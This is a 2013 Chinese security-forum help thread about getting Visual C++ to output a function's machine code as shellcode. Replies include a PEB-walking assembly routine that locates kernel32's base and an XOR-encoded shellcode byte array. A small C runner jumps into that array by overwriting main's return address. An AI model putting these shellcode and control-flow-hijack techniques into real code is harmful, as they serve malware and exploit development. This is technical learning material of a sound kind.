首页
社区
课程
招聘
[求助]vc直接生成shellcode遇到的问题
发表于: 2013-9-4 08:44 7501

[求助]vc直接生成shellcode遇到的问题

2013-9-4 08:44
7501
具体例子如下
内嵌一段代码直接生成shellcoede

unsigned int funtionfindkernel32(void)  //这里是要得到kernel32的基地址
{
   //代码就不写了,看雪很多

}

int main(void)
{
__asm
{
  jmp table;
}
shellcode:
   funtionfindkernel32();

table:
__asm
{

  //这里计算shellcode的大小也就是shellcode 和 table 之间的大小

}
//打印shellcode 和 table 之间的16进制数据

return 0;
}

下面代码生成shellcode之后,再编译成可执行文件发现这样一个问题

unsigned char shellcode[]={...};
int main()
{
   _asm
    {
pushad
xor eax,eax
mov eax, DWORD PTR ShellCodeRun
call eax
popad
    }
        return 0;
}

执行 call eax 时发现是正确的
如图:


执行完CALL之后编程内存地址中全变成nop了
如图:


请问用什么编译方式或者用什么修饰符,能让这个函数的代码直接插入?

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 1392
活跃值: (4862)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
2
楼主语死早 恕我没懂什么意思
2013-9-4 09:14
0
雪    币: 1149
活跃值: (833)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
3
单独写个naked 调用
2013-9-4 09:15
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
就是当shellcode执行的时候,执行到调用一个shellcode 写成的函数的时候。
跳到函数空间时发现,空间中都是NOP,也就是说,我生成的函数传递给shellcode只有一个函数的指针,函数内部的数据没有真正的生成shellcode ,被vc编译器优化掉了。
我用了好多参数例如:
static const volatile 都不行。
2013-9-4 09:21
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
这个naked 是什么意思?我直接嵌入到main函数中,生成的shellcode是可以正常执行的,写成函数就会被编译器优化掉。
2013-9-4 09:22
0
雪    币: 1392
活跃值: (4862)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
6
估计是shellcode没有被用到,然后才被优化的。


pushad
xor eax,eax
//
mov eax,ShellCodeRun
mov eax,[eax]
//这里添加一句试试

mov eax, DWORD PTR ShellCodeRun
call eax
popad
2013-9-4 09:55
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=IamHuskar;1218020]估计是shellcode没有被用到,然后才被优化的。


pushad
xor eax,eax
//
mov eax,ShellCodeRun
mov eax,[eax]
//这里添加一句试试

mov eax, DWORD PTR ShellCodeRun
call eax...[/QUOTE]

你这个是执行shellcode的,我的疑惑是生成shellcode的
下图是我调用的函数:

这个是我在主函数调用的图:

最后一个是我生成shellcode的图:

看图三只有一个函数的地址,函数内的数据没有生成shellcode
上传的附件:
2013-9-4 10:01
0
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
http://hi.baidu.com/hjxy_shell/item/bc59020fc77b82cddce5b03e楼主可以参考下
2013-9-4 12:41
0
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
楼主想要测试shellcode,可以这样

#include <stdio.h>

unsigned char szShellcode[0x1000] = 
"\x90\x90\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x88\x01\x80\x34\x0a\x97"
"\xe2\xfa\xeb\x05\xe8\xeb\xff\xff\xff"                  //解码
"\x7f\x9c\x97\x97\x97\xfa\xe4\xe1\xf4\xe5\xe3\xb9\xf3"
"\xfb\xfb\x97\x2f\xec\x8a\x17\xeb\x68\x47\x7f\x9f\x97\x97\x97\xf4\xfa"
"\xf3\xb9\xf2\xef\xf2\x97\x2f\x50\x04\x28\xe0\x68\x47";

int main(int argc, char* argv[])
{
        int *ret;
        ret = (int *)&ret + 2; //ret 等于main()的返回地址
        //(+2是因为:有push ebp ,否则加2就可以了。)
        
        (*ret) = (int)szShellcode; //修改main()的返回地址为shellcode的开始地址。
        
        return 0;
}
2013-9-4 12:51
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
[QUOTE=寒江雪语;1218097]楼主想要测试shellcode,可以这样

#include <stdio.h>

unsigned char szShellcode[0x1000] =
"\x90\x90\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x88\x01\x80\x34\x0a\x97&...[/QUOTE]

亲,不是执行shellcode 是生成啊。。
2013-9-4 15:18
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
这个我看了,
直接嵌入代码是可以的,若是嵌入函数名呢?
只能得到call xxxx的16进制,并不能得到shellcode
好像涉及到编译器的优化原理了
2013-9-4 15:21
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
__inline   __declspec(naked) unsigned int findkerneldll(){ //
  __asm{
    push esi
  push edi
  push ecx
    xor ecx, ecx
    mov esi, fs:0x30
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
  pop ecx
  pop edi
    pop esi
    Ret
  }
}
unsigned int end;
unsigned int start;
unsigned int temp;
int _tmain(int argc, _TCHAR* argv[])
{
        int y=0;
   char *p="aaaaaaaaaaaaaaa";
        __asm
        {
          jmp ccc;
        }
ggg:

//unsigned int  call_addr= ((int*)::findkerneldll)[0];
        findkerneldll();
  __asm{
ccc:
         mov eax,ccc;
         sub eax,ggg;
     mov end,eax;  //end是大小
         mov ecx,ggg;  //首字节地址放ecx中
         mov temp,ecx; //地址放到临时变量中
  }
for(int i=0;i<end;i++)
  {
          __asm
          {
                   xor eax,eax;
                   mov ecx,temp;
                   mov al,[ecx]
                   inc ecx;
                   mov temp,ecx;
                   mov start,eax;          
          }
      printf("0x%02x,",start);
          y++;
          if(y==10)
          {
           printf("\r\n");
           y=0;
          
          }
  
  }
}
您调试一下看看。。只能得到一个call xxx的16进制
2013-9-4 15:24
0
雪    币: 12
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
写了个专门干这个的工具,就是太大传不上。
上传的附件:
2013-9-22 11:37
0
游客
登录 | 注册 方可回帖
返回
//